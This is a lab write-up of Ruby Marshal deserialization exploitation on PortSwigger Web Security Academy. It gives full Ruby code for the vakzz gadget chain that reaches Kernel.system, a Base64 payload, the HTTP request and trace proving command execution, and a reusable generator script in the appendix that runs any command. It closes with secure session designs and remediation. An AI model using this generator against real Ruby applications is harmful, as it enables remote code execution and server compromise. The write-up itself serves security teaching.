Table of Contents
- Summary
- Methodology
- Step 1: Inspect the Session Cookie
- Step 2: First Attempt The elttam Gem::StubSpecification Chain
- Step 3: Switch to the vakzz Universal Chain
- Step 4: Deliver the Payload and Confirm Execution
- Why This Worked
- Code Review Perspective
- Impact
- Remediation
- Key Takeaway
- Appendix
Summary #
The application uses a serialization-based session mechanism backed by Ruby's Marshal format. The session cookie is a Base64-encoded blob that the server deserializes on every request to reconstruct the user's session a pattern that is dangerous by design. Any class loaded into the Ruby process becomes a potential gadget the moment its marshal_load, init_with, or other reconstruction hook does something interesting on attacker-controlled state.
The lab is solvable with a documented universal gadget chain. The work is in picking the right one for the Ruby version the server is running, generating a correctly serialized Marshal payload that triggers Kernel.system with a chosen command, and substituting that payload into the session cookie.
The central question is not whether deserialization is exploitable that is given by the framework choice. It is which published chain still works against the deployed Ruby version, and why an older, well-known one no longer does.
Methodology #
The approach was straightforward, with one wrong turn that was useful to take:
- Decode and inspect the session cookie to confirm the format and identify what kind of object the application is deserializing.
- Pick a documented Ruby
MarshalRCE gadget chain. The best-known one is theGem::StubSpecificationchain published by elttam, so start there. - Generate the payload, substitute it into the session cookie, send the request.
- If the chain fails, read the error trace closely. Ruby's deserialization errors are unusually informative the stack trace names every class the gadget walks through, which immediately tells you whether the chain ran at all and where it stopped.
- Switch to a chain that works on the version of Ruby actually deployed.
The reason for trying the older chain first is not optimism. It is that comparing what works against what doesn't pins down the server's Ruby version more precisely than guessing, and the failure case is genuinely informative the trace shows which classes loaded successfully and where the chain broke.
Step 1: Inspect the Session Cookie #
After logging in as wiener:peter, the server set the following session cookie:
1session=BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YzBtZzY0YnB1emZnZDIzbzgxMXNzYndkejBpMzg0OAY7B0YK
Decoding the Base64 value and viewing the raw bytes:
1echo -n "BAhvOglVc2VyBzo..." | base64 -d | xxd
100000000: 0408 6f3a 0955 7365 7207 3a0e 4075 7365 ..o:.User.:.@use
200000010: 726e 616d 6549 220b 7769 656e 6572 063a rnameI".wiener.:
300000020: 0645 463a 1240 6163 6365 7373 5f74 6f6b .EF:.@access_tok
400000030: 656e 4922 256e 3734 6e31 6978 3633 6771 enI"%n74n1ix63gq
500000040: 7970 7433 3675 637a 636c 356c 7969 6268 ypt36uczcl5lyibh
600000050: 3264 3463 6a06 3b07 460a 2d4cj.;.F.
Two things stand out. The leading 04 08 is the Ruby Marshal format version header every Marshal.dump output begins with these bytes. The string User followed by instance variable names like @username and @access_token confirms the cookie is a serialized Ruby object, specifically an instance of the application's User class.
The session is therefore being reconstructed with Marshal.load (or an equivalent unsafe deserializer) on every request, with the cookie value as input. This is the textbook unsafe-deserialization pattern. Whatever class the cookie deserializes into will have its instance variables populated and its lifecycle hooks invoked, and any class loaded into the application's address space including the entire Ruby standard library and RubyGems is fair game as a gadget.
Step 2: First Attempt The elttam Gem::StubSpecification Chain #
The original universal Ruby Marshal RCE gadget, published by Luke Jahnke at elttam in 2018, abuses Gem::StubSpecification. The chain reaches Gem::StubSpecification#data via Gem::DependencyList#each → Gem::Source::SpecificFile#<=> → Gem::StubSpecification#name → data. The sink is Kernel#open, called as open loaded_from, OPEN_MODE with @loaded_from set to '|<command>' Kernel#open interprets a leading pipe as a command to execute.
The first attempt was to generate this payload and substitute it into the cookie:
1podman run -it --rm -v "$PWD":/app:Z -w /app ruby:2.5 \
2 ruby generic_deserialization_payload_gen.rb \
3 -p "rm /home/carlos/morale.txt"
The generator produced a Marshal-encoded blob beginning BAhVOhVHZW06OlJlcXVpcmVtZW50.... Substituting it into the session cookie and reissuing the request did not solve the lab the file was not deleted, and the application returned the standard logged-in response without a visible error.
The elttam chain stops working in Ruby 2.7.0, where the call site changed from open to File.open (commit 1eaacb1). File.open does not interpret a leading pipe, so the payload's |<command> argument turns into a literal filename and the call raises Errno::ENOENT rather than executing. Whether that surfaces as a 500 or gets swallowed depends on the application's error handling in this case the request returned cleanly, suggesting the handler caught the exception.
The next move is to switch to a chain that targets a sink reachable on Ruby 2.7+.
Step 3: Switch to the vakzz Universal Chain #
William Bowling published a replacement universal chain in January 2021 that works on Ruby 2.x through 3.0.2. Rather than Gem::StubSpecification, it routes through Net::WriteAdapter, Gem::Package::TarReader, and Gem::RequestSet#resolve to land on Kernel.system with a controllable argument.
The construction is worth understanding because it explains why this chain survived the patches that killed the older one. The critical primitive is Net::WriteAdapter:
1class WriteAdapter
2 def write(str)
3 @socket.__send__(@method_id, str)
4 end
5
6 def <<(str)
7 write str
8 self
9 end
10end
Both @socket and @method_id are deserialized from attacker-controlled state. If the chain can reach << or write on a Net::WriteAdapter instance, it gets to call any single-argument method on any object but the argument is whatever string the calling context happens to be writing.
The trick that makes the chain work is Gem::RequestSet#resolve:
1def resolve(set = Gem::Resolver::BestSet.new)
2 @sets << set
3 @sets << @git_set
4 ...
5end
@sets and @git_set are both controllable. By setting @sets to a Net::WriteAdapter that targets Kernel.system, and @git_set to the desired command string, the second << call inside resolve becomes Kernel.system(command). The first << fires too with whatever string the outer context passed in and produces a harmless sh: 1: reading: not found error before the real command runs.
The full construction in Ruby:
1# Force the gem classes to load before we Marshal.dump
2Gem::SpecFetcher
3Gem::Installer
4
5# Stop our own Marshal.dump from triggering the chain
6module Gem
7 class Requirement
8 def marshal_dump
9 [@requirements]
10 end
11 end
12end
13
14wa1 = Net::WriteAdapter.new(Kernel, :system)
15
16rs = Gem::RequestSet.allocate
17rs.instance_variable_set('@sets', wa1)
18rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
19
20wa2 = Net::WriteAdapter.new(rs, :resolve)
21
22i = Gem::Package::TarReader::Entry.allocate
23i.instance_variable_set('@read', 0)
24i.instance_variable_set('@header', "aaa")
25
26n = Net::BufferedIO.allocate
27n.instance_variable_set('@io', i)
28n.instance_variable_set('@debug_output', wa2)
29
30t = Gem::Package::TarReader.allocate
31t.instance_variable_set('@io', n)
32
33r = Gem::Requirement.allocate
34r.instance_variable_set('@requirements', t)
35
36payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
37puts Base64.strict_encode64(payload)
The two leading entries (Gem::SpecFetcher, Gem::Installer) are not gadgets themselves they exist solely to force RubyGems' autoloader to pull in the class hierarchy the chain depends on. The marshal_dump override on Gem::Requirement prevents the payload from triggering itself when generated; without it, Marshal.dump would walk into the gadget while serializing.
Running the generator inside a ruby:2.7 container produced the payload:
1BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZv
2OhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6
3UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRl
4YnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6
5CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9t
6ZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
Step 4: Deliver the Payload and Confirm Execution #
Substituting the payload into the session cookie and requesting the account page:
1GET /my-account?id=wiener HTTP/2
2Host: 0a9200060378f8c780a712c5009f005a.web-security-academy.net
3Cookie: session=BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06...QHJlc29sdmU=
The server responded with HTTP/2 500 Internal Server Error and the following body:
1Internal Server Error
2
3sh: 1: reading: not found
4/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
5 from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
6 from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
7 from /usr/lib/ruby/2.7.0/rubygems/request_set.rb:400:in `resolve'
8 from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
9 from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
10 from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
11 from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
12 from /usr/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:in `from'
13 from /usr/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in `each'
14 from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements'
15 from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:207:in `marshal_load'
The 500 status is not a sign of failure it is the chain working exactly as designed. The trace reads bottom-up as the gadget chain in motion: Gem::Requirement#marshal_load is the entry point, each iterates the TarReader, from reads the header via Net::BufferedIO, LOG invokes << on the WriteAdapter, which calls Gem::RequestSet#resolve, which reaches system twice. The first call is the harmless sh: 1: reading: not found (the reading 512 bytes... log message dispatched to Kernel.system). The second is the controllable one, executing rm /home/carlos/morale.txt.
The trace's top frame is Kernel.system raising TypeError on a third call into Net::WriteAdapter#write with nil resolve has continued past the two << calls and another method downstream is reaching wa2 with bad input. The two Kernel.system calls (the harmless reading 512 bytes… one and the rm /home/carlos/morale.txt one) have already executed by the time this fires. The lab solved on this request.
Why This Worked #
Two failures in defensive design make this exploit possible.
The first is the application's choice to use Marshal.dump / Marshal.load on session cookies in the first place. Ruby's Marshal format is documented as unsafe for untrusted input the official Ruby documentation explicitly warns against deserializing data from external sources. Marshal.load reconstructs arbitrary objects with arbitrary instance variables and invokes their lifecycle hooks (marshal_load, init_with, _load). The format was designed for trusted IPC, not authentication tokens. Any application that hands a Ruby Marshal blob to the client and accepts it back is delegating object construction to the client.
The second is the assumption implicit in the choice to use Marshal.load that no class loaded into the process has a dangerous deserialization path. This is essentially never true in a Ruby on Rails application. The standard library alone (Net::*, Gem::*) ships enough plumbing for Net::WriteAdapter and Gem::RequestSet#resolve to be chainable into Kernel.system. Adding RubyGems multiplies the attack surface, and adding Rails multiplies it again. There is no realistic way to audit every loaded class for deserialization safety, and there does not need to be the right answer is to stop deserializing untrusted data, not to try to make Marshal.load safe.
The two universal chains illustrate the point. Patching Gem::StubSpecification in Ruby 2.7.0 (replacing Kernel#open with File.open) closed one path to command execution; vakzz's chain found another within months, using only default-loaded classes. There will be more. The class graph is too large and too interconnected to defend at the gadget level.
Code Review Perspective #
The vulnerability lives in how the session cookie is read. The patterns below are framework-agnostic the same shape appears in Sinatra, Rails, and bespoke Rack middleware.
Vulnerable Example Direct Marshal.load on Cookie #
1require 'base64'
2
3class SessionMiddleware
4 def call(env)
5 cookie = env['HTTP_COOKIE']&.match(/session=([^;]+)/)&.[](1)
6
7 if cookie
8 env['rack.session'] = Marshal.load(Base64.decode64(cookie))
9 end
10
11 @app.call(env)
12 end
13end
The cookie is fully attacker-controlled and is fed straight into Marshal.load. This is the form the lab is exploiting. The application has no concept of what classes the cookie may instantiate or what side effects their deserialization hooks may invoke.
Less Obviously Broken Marshal.load Behind a Signature Check #
1require 'base64'
2require 'openssl'
3
4class SessionMiddleware
5 SECRET = ENV.fetch('SESSION_SECRET')
6
7 def call(env)
8 cookie = env['HTTP_COOKIE']&.match(/session=([^;]+)/)&.[](1)
9 return @app.call(env) unless cookie
10
11 payload, signature = cookie.split('--', 2)
12 expected = OpenSSL::HMAC.hexdigest('SHA256', SECRET, payload)
13
14 if Rack::Utils.secure_compare(signature, expected)
15 env['rack.session'] = Marshal.load(Base64.decode64(payload))
16 end
17
18 @app.call(env)
19 end
20end
This looks defensive the cookie is HMAC-signed, and unsigned values are rejected. The flaw is that signing only proves the cookie was issued by this server, not that its contents are safe to deserialize. If SECRET ever leaks (committed to a public repo, exposed via a separate vulnerability, recovered from a backup, exfiltrated through a path-traversal read of the application's config), the entire object graph becomes attacker-controlled again. Treating signature verification as a substitute for safe deserialization makes the secret a single point of total compromise.
This is the form most production Rails applications historically shipped with, and it is why secret-key leaks in Rails apps have historically led directly to RCE rather than just session forgery.
Weak Fix Class Allowlist Inside Marshal.load #
Some teams attempt to constrain Marshal.load by pre-validating the byte stream:
1ALLOWED = %w[User Hash Array String Integer TrueClass FalseClass NilClass]
2
3def safe_load(blob)
4 if blob.match?(/o:[0-9]+:"(?!#{ALLOWED.join('|')})/)
5 raise "Disallowed class in payload"
6 end
7 Marshal.load(blob)
8end
This is a regex over a binary format, and it does not correspond to anything Marshal.load actually checks. A well-formed Marshal blob can reference classes the regex never sees string-based class names are not the only way to serialize an object reference, and the binary structure means common bypasses involve non-printable bytes between the type tag and the class name. The fundamental issue is that Marshal.load does not expose any allowlist hook. There is no callback in the deserialization path where a class can be vetoed before its instance variables are populated.
Secure Implementation Replace Marshal With a Data-Only Format #
The correct fix is to never call Marshal.load on a cookie at all. Sessions should carry data, not objects:
1require 'json'
2require 'base64'
3require 'openssl'
4
5class SessionMiddleware
6 SECRET = ENV.fetch('SESSION_SECRET')
7
8 def call(env)
9 cookie = env['HTTP_COOKIE']&.match(/session=([^;]+)/)&.[](1)
10 return @app.call(env) unless cookie
11
12 payload_b64, signature = cookie.split('--', 2)
13 expected = OpenSSL::HMAC.hexdigest('SHA256', SECRET, payload_b64)
14
15 return @app.call(env) unless Rack::Utils.secure_compare(signature, expected)
16
17 data = JSON.parse(Base64.strict_decode64(payload_b64), symbolize_names: true)
18 env['rack.session'] = SessionData.new(
19 username: data[:username].to_s,
20 access_token: data[:access_token].to_s,
21 )
22
23 @app.call(env)
24 end
25end
26
27SessionData = Struct.new(:username, :access_token, keyword_init: true)
JSON.parse produces hashes, arrays, strings, numbers, and booleans not arbitrary objects. There is no marshal_load to invoke, no class graph to walk, no gadget chain available regardless of which gems are loaded. The application explicitly converts the parsed data into a SessionData struct with typed fields, which means even a forged cookie (one with a leaked HMAC secret) can only set string fields, not pivot into RCE.
Even Better Server-Side Sessions #
The strongest design eliminates client-side session state entirely. Issue an opaque session ID, store the actual session data server-side (Redis, the database, signed JWTs with a strict allowlist of claims), and treat the cookie as nothing more than a lookup key. The client never holds anything that needs to be deserialized into application objects, and rotating compromised sessions becomes a single-row delete rather than a deploy.
Impact #
A successful exploit gives the attacker arbitrary command execution as the application user on the web server. In this lab the demonstration is rm /home/carlos/morale.txt, but the same primitive supports anything the runtime user can do: reading /etc/passwd, dumping the application's database.yml and secrets.yml, exfiltrating environment variables (AWS_ACCESS_KEY_ID, RAILS_MASTER_KEY, DATABASE_URL), executing reverse shells, pivoting to internal services, or persisting via cron / systemd unit injection if the user has write access to those locations.
In a Rails production environment the blast radius is typically larger than the immediate host. Rails applications usually carry credentials for the primary database, a cache layer, a message queue, an object store, and one or more SaaS APIs. RCE on the app server normally implies compromise of all of these, not merely the box. Any persistent secret stored in the environment or in config/credentials.yml.enc (which is decrypted in-memory at boot) is recoverable by reading process memory or the running configuration.
Remediation #
The root cause is the use of Marshal.load on attacker-controlled input. Fixes in order of preference:
- Replace
Marshalwith a data-only format. UseJSONfor session payloads and reconstruct typed objects explicitly from the parsed data. This eliminates the gadget surface entirely no class graph, no lifecycle hooks, no autoloader interaction. - Move session state server-side. Issue an opaque session ID, store the data in a server-side store, and treat the cookie as a key. The client never deserializes anything.
- If
Marshalcannot be removed, ensure the cookie is signed and encrypted with a secret that is rotated, scoped per environment, and never committed. This does not fix the underlying deserialization problem it only raises the bar for an attacker and should be regarded as a stopgap, not a solution.
Adding regex filters, class allowlists, or "safe Marshal" wrappers is not a fix. The format does not support the kind of mediation those approaches assume.
Key Takeaway #
Marshal.load on untrusted input is not a bug to be patched, it is a design choice to be reversed. Each new Ruby release closes specific gadget chains (Gem::StubSpecification in 2.7.0, the vakzz chain in 3.0.3), but the underlying primitive full object reconstruction with lifecycle-hook execution, over a class graph the application does not control keeps producing new chains as long as it remains in the request path. The lesson is the one identified in the original elttam research and reinforced by every successor: stop handing serialized objects to clients. Use data formats that carry data, not objects, and reconstruct the objects you need server-side under your own rules.
Appendix #
Lab #
PortSwigger Web Security Academy Exploiting Ruby deserialization using a documented gadget chain
Tools Used #
- Burp Suite intercepted the original session cookie and replayed modified requests via Repeater. portswigger.net/burp
- Podman ran a
ruby:2.7container to match the target's Ruby version when generating theMarshalpayload. The 2.5 container was used first and produced a payload that did not solve the lab; switching to 2.7 was incidental but worth noting. podman.io xxdinspected the raw bytes of the decoded session cookie to confirm the04 08Marshal header. Standard on most Linux distributions.base64encode/decode the session value. Coreutils.
Background Reading #
- Luke Jahnke (elttam) Ruby 2.x Universal RCE Deserialization Gadget Chain the original
Gem::StubSpecificationchain. - William Bowling (vakzz) Universal Deserialisation Gadget for Ruby 2.x-3.x the chain used to solve this lab.
- Etienne Stalmans Universal RCE with Ruby YAML.load (versions > 2.7) the same vakzz chain wrapped in a
YAML.loadpayload, useful when the sink is YAML rather than Marshal. - Ruby
Marshaldocumentation the official warning against deserializing untrusted data. - OWASP Deserialization Cheat Sheet language-agnostic guidance.
Useful Commands #
Inspect a Marshal-encoded cookie:
1echo -n "<COOKIE_VALUE>" | base64 -d | xxd | head
Generate the vakzz payload for an arbitrary command (requires the generator script from this write-up):
1podman run -it --rm -v "$PWD":/app:Z -w /app ruby:2.7 \
2 ruby universal_deserialisation_gadget_for_ruby_2x_3x_gen.rb \
3 -p "<COMMAND_HERE>"
Quickly verify the payload locally before sending:
1podman run -it --rm -v "$PWD":/app:Z -w /app ruby:2.7 \
2 ruby -e 'require "base64"; Marshal.load(Base64.decode64(ARGV[0])) rescue nil' \
3 "<BASE64_PAYLOAD>"
Reusable Generator Script #
1#!/usr/bin/env ruby
2# Generates a Ruby Marshal RCE payload (vakzz chain, Ruby 2.x-3.0.2)
3# Usage: ruby universal_deserialisation_gadget_for_ruby_2x_3x_gen.rb -p '<COMMAND>'
4
5require 'optparse'
6require 'base64'
7
8options = {}
9OptionParser.new do |opts|
10 opts.banner = "Usage: #{$0} -p 'command to execute'"
11 opts.on('-p', '--payload CMD', 'Command to execute') { |c| options[:payload] = c }
12 opts.on('-h', '--help') { puts opts; exit }
13end.parse!
14
15abort "Missing -p" if options[:payload].nil?
16
17Gem::SpecFetcher
18Gem::Installer
19
20module Gem
21 class Requirement
22 def marshal_dump; [@requirements]; end
23 end
24end
25
26wa1 = Net::WriteAdapter.new(Kernel, :system)
27
28rs = Gem::RequestSet.allocate
29rs.instance_variable_set('@sets', wa1)
30rs.instance_variable_set('@git_set', options[:payload])
31
32wa2 = Net::WriteAdapter.new(rs, :resolve)
33
34i = Gem::Package::TarReader::Entry.allocate
35i.instance_variable_set('@read', 0)
36i.instance_variable_set('@header', "aaa")
37
38n = Net::BufferedIO.allocate
39n.instance_variable_set('@io', i)
40n.instance_variable_set('@debug_output', wa2)
41
42t = Gem::Package::TarReader.allocate
43t.instance_variable_set('@io', n)
44
45r = Gem::Requirement.allocate
46r.instance_variable_set('@requirements', t)
47
48payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
49puts Base64.strict_encode64(payload)